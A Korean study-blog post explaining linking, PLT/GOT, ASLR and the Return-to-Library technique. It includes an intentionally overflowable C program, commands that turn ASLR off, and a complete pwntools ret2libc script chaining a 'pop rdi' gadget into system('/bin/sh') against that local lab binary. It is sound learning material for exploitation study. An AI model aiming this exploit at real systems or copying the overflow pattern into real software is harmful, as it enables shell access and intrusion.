일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
- fastbin
- 계산기
- dangling pointer
- pwndbg
- libc.so
- Android
- ntwritefile
- libc-database
- brop
- elf 헤더
- frida-dump
- kaslr
- sgerrand
- RAO
- HOS
- JOP
- windows kernel
- patchelf
- kernel debug
- SCP
- house of force
- cmake
- PLT
- ioploaddrivers
- randtbl
- canary leak
- WinDBG
- windows
- top chunk
- return to libraty
- Today
- Total
sh711 님의 블로그
Return to Library 본문
📌 1. 개념
1.1 컴파일
컴파일이란 아래와 같이 작성된 고급 언어(C언어)를 실행 가능한 포멧으로 변환하는 과정이다.
컴파일에는 동적 컴파일과 정적 컴파일 방식이 있다.
// main.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("stdout : %p\n", stdout);
char buffer[0x40];
read(0, buffer, 0x80);
return 0;
}
1.1.1 동적 컴파일
일반적으로 동적 컴파일을 통해 printf, scanf 와 같은 외부 함수는 라이브러리 (리눅스의 경우 libc.so)를 참조하여 사용된다.
함수 원형 코드를 프로그램 자체에 포함하지 않기 때문에 파일의 크기가 크지 않은 장점이 있지만 프로그램을 실행하기 위해선 라이브러리 파일과 링커 역할을 해주는 ld 파일이 필요하다는 단점이 있다.
동적 컴파일
gcc -o main_Dynamic main.c
동적 컴파일 된 파일의 정보와 크기

프로그램 실행 후 메모리를 확인해보면 libc.so.6 과 ld-linux-x86-64.so.2 파일이 참조되어 메모리에 로드 되어있는 것을 볼 수 있다.

1.1.2 정적 컴파일
정적 컴파일의 경우 라이브러리를 참조하지 않는다.
따라서, 코드 내 존재하는 함수 원형 코드를 실행 파일에 포함해야 하므로 크기가 큰 단점이 있지만 라이브러리 없이 파일만 있어도 실행할 수 있는 장점이 있다.
정적 컴파일
gcc -o main_Static main.c -static
정적 컴파일된 파일의 정보와 크기
동적 컴파일 된 파일에 비해 크기가 큰 것을 확인 가능

프로그램 실행 후 메모리를 확인해보면 라이브러리 및 링커 파일이 참조되지 않고 오직 실행 파일만 메모리에 로드된 것을 확인할 수 있다.

1.2 라이브러리
라이브러리는 동적 컴파일 된 프로그램이 실행되면서 사용될 표준 함수들을 모아놓은 도서관같은 느낌이라고 보면 된다.
프로그램이 함수 호출 시 라이브러리에 정의된 함수를 골라서 사용하는 것과 같다.
리눅스의 libc.so.6 라이브러리 파일을 아이다로 열어보면 함수 실제 원형이 정의되어있다.


1.2.1 라이브러리 함수 호출
작성된 코드에 존재하는 외부 함수는 PLT(Procedure Linkage Table)영역에 적힌다.
GOT(Global Offset Table) 영역은 함수마다 라이브러리의 실제 주소가 적히는 곳이다.
함수를 호출하면 (PLT 호출) GOT로 점프하는데 GOT에는 라이브러리에 있는 함수의 주소가 쓰여져 있다.
그런데 만약 함수의 호출이 처음일 경우 GOT에 라이브러리 실제 함수 주소를 적는 과정이 필요하다.
1.2.2 puts 함수 첫 호출 과정
plt 영역에 로드된 puts 함수

got 영역의 puts 함수에는 puts@plt + 6 주소가 쓰여있음

1. 프로그램 런타임 중 puts 함수 첫 호출 ⇒ puts@plt 호출

2. got 영역으로 점프 ⇒ got에는 puts@plt + 6 주소가 쓰여져 있음


3. push 0 후 점프 ⇒ 0은 plt 영역에 등록된 순서(puts : 0, printf : 1, scanf : 2)

4. ld 링커로 점프 ⇒ got에 라이브러리 실제 주소 로드

5. 작업을 마치고 got 영역을 보면 함수의 실제 주소가 적혀 있음

got에 적힌 puts 함수 주소

libc.so 파일의 puts 함수와 일치하는 것 확인

이제 다음에 호출되는 puts 함수는 puts@got에 적힌 실제 주소를 참조하여 링커 과정 없이 바로 호출될 수 있다.
📌2. Return to Library (RTL)
NX 비트가 활성화되어 스택 영역에서의 실행 권한이 제거된 프로그램에서 사용할 수 있는 기법이다.
ret 값을 원하는 함수의 PLT 주소로 변조하면 해당 라이브러리 함수를 호출할 수 있다.
원하는 함수가 PLT 테이블에 등록되어 있지 않다면 라이브러리 베이스 주소를 구하여 원하는 함수의 주소를 구할 수 있다.
2.1 라이브러리 베이스 (libc_base)
라이브러리 베이스 주소 값을 알 수 있다면 offset 계산을 통해 원하는 함수의 실제 주소 알아 낼 수 있다.
라이브러리 베이스 주소는 ASLR(Address Space Layout Random)보호 기법에 의해 매 실행마다 랜덤으로 로드된다.
ASLR은 커널에서 제공하는 보호 기법으로 라이브러리 주소, 스택, 힙의 주소가 매 실행 시마다 변하게되어 메모리 주소 추적을 어렵게 만들어준다.
// main_Dynamic
// 컴파일 옵션 gcc -o maic_Dynamic main.c -z noexecstack -fno-stack-protector -z,relro
#include <stdio.h>
#include <unistd.h>
int main() {
printf("stdout : %p\n", stdout);
char buffer[0x40];
read(0, buffer, 0x80);
return 0;
}
프로그램 실행 시 libc.so에 존재하는 stdout 변수의 주소가 출력된다.

한번 더 실행 시 ASLR에 의해 stdout 주소가 바뀐 것을 확인할 수 있다.

ASLR 보호기법은 /proc/sys/kernel/randomize_va_space 파일에서 확인할 수 있다.

- randomize_va_space=0이면 ASLR 해제
- randomize_va_space=1이면 stack, library가 랜덤
- randomize_va_space=2이면 stack, heap, library가 랜덤
ASLR 기법 해제 후 프로그램 실행
echo 0 > /proc/sys/kernel/randomize_va_space
여러 번 실행해도 stdout 변수 주소가 고정인 것을 확인할 수 있다.

다시 ASLR 기법을 활성화 시킨다.
echo 2 > /proc/sys/kernel/randomize_va_space
프로그램 실행 시 출력되는 stdout의 주소를 이용해 라이브러리의 베이스 주소를 구해보겠다.
libc_base 는 하위 12비트는 항상 000으로 고정이다.
프로그램 실행 시 stdout 의 주소는 0x7ffff7fa55c0으로 확인된다.

라이브러리 파일(libc.so)의 stdout 오프셋은 0x1e85c0 이다.
(libc.so.6 파일은 /usr/lib/x86_64-linux-gnu/libc.so.6 에 존재)
// libc.so 내 stdout 오프셋 구하기
readelf -s --wide libc.so.6 | grep stdout

libc.so의 버전에 따라 오프셋은 변경된다.
주소와 심볼을 알때 해당 사이트에서 하위 12비트를 이용하여 glibc 버전 정보 확인 가능
https://libc.rip/
이제 (stdout 주소 - 라이브러리 파일 stdout 오프셋)연산을 하면 라이브러리 베이스(libc_base) 값을 구할 수 있다. 0x7ffff7dbd000이 libc_base로 나왔다.

실제 프로그램 메모리를 확인해보면 libc.so 파일이 로드된 첫 주소는 0x7ffff7dbd000(라이브러리 베이스 주소) 인 것을 확인할 수 있다.
ASLR이 활성화 되어있다면 libc_base 주소는 매 실행마다 랜덤하게 바뀌므로 고정된 값이 아니다.

이를 사용하여 libc.so 라이러리에서 원하는 함수의 실제 주소를 알아낼 수 있다.
libc.so 내에서 system 함수의 오프셋은 0x528f0으로 확인된다.
// libc.so 내 system 함수 오프셋 확인
readelf -s --wide libc.so.6 | grep system

현재 런타임 중 system 함수의 주소는 libc_base + system_offset (0x7ffff7dbd000+ 0x528f0)으로 0x7ffff7e0f8f0 주소일 것이다. 실제로 확인 시 일치한다.

2.2 실습
#include <stdio.h>
#include <unistd.h>
int main() {
printf("stdout : %p\n", stdout);
char buffer[0x40];
read(0, buffer, 0x80);
return 0;
}
실행 시 stdout의 런타임 주소가 나오며 buffer[0x40] 배열에 0x80만큼 입력을 받기 때문에 버퍼 오버플로우가 발생할 수 있다.

순서
- stdout 주소를 통한 런타임 libc_base 구하기
- 입력을 통해 ret 변조 및 인자 넣기(”/bin/sh”)
스택 프레임은 다음과 같다.

system 함수를 사용해 쉘을 실행해보겠다.
system 함수는 rdi에 인자로 실행할 명령 문자열의 주소를 받는다.
int system(const char *command);
참조 : https://man7.org/linux/man-pages/man3/system.3.html
system(3) - Linux manual page
system(3) — Linux manual page system(3) Library Functions Manual system(3) NAME top system - execute a shell command LIBRARY top Standard C library (libc, -lc) SYNOPSIS top #include int system(const char *command); DES
man7.org
rdi에 “/bin/sh” 문자열 주소를 넣어주기 위해 “pop rdi” 라는 가젯을 사용해야 한다.
가젯이란, 실행 권한이 존재하는 영역의 코드 조각을 의미하며 레지스터에 원하는 인자 설정 등의 용도로 사용된다.
ROPgadget을 설치한다.
pip install ropgadget
libc.so 파일에서 “pop rdi”를 하는 가젯을 찾아 준다.
원하는 동작 후 ret가 있어야 rsp에 입력한 페이로드를 이어갈 수 있다.
ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"

“/bin/sh” 문자열의 주소 값을 rdi 인자로 넣어야하므로 libc.so 파일 내 “/bin/sh” 문자열의 주소 값을 찾아준다.
strings -t x libc.so.6 | grep "/bin/sh"

페이로드 구조
- ret를 변조하여 pop_rdi_ret로 복귀
- “/bin/sh” 주소가 rdi로 pop 되고 ret(pop rip) 하면 “/bin/sh” 다음의 ret(pop rip)로 복귀
- 이 후, system 함수의 주소로 복귀하며 system(”/bin/sh”) 명령 실행
system 주소 전에 ret를 넣어준 이유는 함수 호출 규약에 따라 함수 호출 시 rsp는 0x10 바이트로 정렬되어있어야 하기 때문

파이썬 코드
from pwn import *
io = process("./main_Dynamic")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") // libc 파일 식별
pause()
def slog(name, addr):
return success(" : ".join([name, hex(addr)]))
stdout_offset = libc.symbols["_IO_2_1_stdout_"] // libc 에서 stdout offset 가져옴
system_offset = libc.symbols["system"] // libc 에서 system offset 가져옴
binsh_offset = 0x1a7e43 // "/bin/sh" 오프셋
pop_rdi_offset = 0x2a205 // "pop rdi ; ret" 가젯 오프셋
io.recvuntil("stdout : ")
libc_base = int(io.recvn(14), 16) - stdout_offset // 출력된 stdout 주소 - stdout offset
system_addr = libc_base + system_offset // 런타임 중 system 함수 주소
binsh_addr = libc_base + binsh_offset // 런타임 중 "/bin/sh" 주소
pop_rdi_addr = libc_base + pop_rdi_offset // 런타임 중 "pop rdi ; ret" 주소
pause()
slog("libc_base", libc_base)
slog("system_addr", system_addr)
pause()
payload = b"A" * 0x40 // buffer
payload += p64(0) // rbp
payload += p64(pop_rdi_addr) // ret 위치에 가젯 삽입
payload += p64(binsh_addr) // 가젯에 의해 pop rdi 될 "/bin/sh" 주소
payload += p64(pop_rdi_addr+1) // 스택 정렬을 위한 ret
payload += p64(system_addr) // system("/bin/sh")
io.sendline(payload) // 페이로드 전송
io.interactive() // 쉘 상호작용
페이로드가 전송된 후 스택 상태

1. ret 시 pop rdi로 복귀하고 rsp에서 “/bin/sh” 문자열 주소를 rdi로 pop 한다.
이때 rsp는 0x7ffd842283b8
2. 가젯의 ret를 수행하면 rsp의 값 0x7f8acdb13206(iconv+182)이 rip로 변경
이때 rsp는 0x7ffd842283c0(system)
3. 스택 정렬을 위해 삽입한 ret 가 수행되면 rip는 system 함수로 변경
4. rdi가 “/bin/sh”의 주소인 상태로 system 함수 진입 ⇒ system(”/bin/sh”)
(스택 정렬 : ret 하기 직전 rsp 값이 0x10의 배수여야 함, 만약 system 주소 전에 ret를 안 넣었으면 rsp는 0x7ffd842283b8 이므로 정상적인 호출이 불가함)

그대로 실행시키면 라이브러리 함수 system으로 복귀하여 쉘이 실행된다.

'Study > Linux' 카테고리의 다른 글
Linux Kernel - 1 (0) | 2025.03.26 |
---|---|
srandom_r & random_r (1) | 2025.03.20 |
House of Force - 1 (0) | 2025.03.11 |
ELF 헤더 분석 (1) | 2025.03.06 |
Stack Buffer Overflow & Stack Canary (0) | 2025.02.26 |